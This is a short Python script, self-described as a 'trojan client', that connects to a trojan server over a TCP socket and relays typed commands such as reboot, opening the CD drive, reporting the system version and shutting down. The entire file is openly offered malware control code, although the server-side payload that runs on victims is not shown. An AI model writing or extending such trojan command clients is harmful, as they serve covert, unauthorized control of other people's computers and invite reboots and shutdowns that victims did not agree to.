#!/usr/bin/env python
#-*-coding:utf-8-*-
#trojan client by 0zzy
import os
import sys
import socket

os.system("clear")#cls for win
ADD_HOST="localhost"
ADD_PORT=8081

def helpcmd():
    listcmd={"version":"system version","reboot":"win reboot","ocd":"wind cd open","close":"shutdown the sever and client"}
    for cmd,desc in listcmd.items():
        print("[",cmd,"] -->",desc)
try:
    MYSOCKET=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    MYSOCKET.connect((ADD_HOST, ADD_PORT))
    while True:
        message=MYSOCKET.recv(1024)
        print(message)
        message=input("COMMAND: ")
        MYSOCKET.send(message.encode())
        if message=="help":
            helpcmd()
        if message=="close":
            print("~$:",message)
            break
except:
    pass
finally:
    MYSOCKET.close()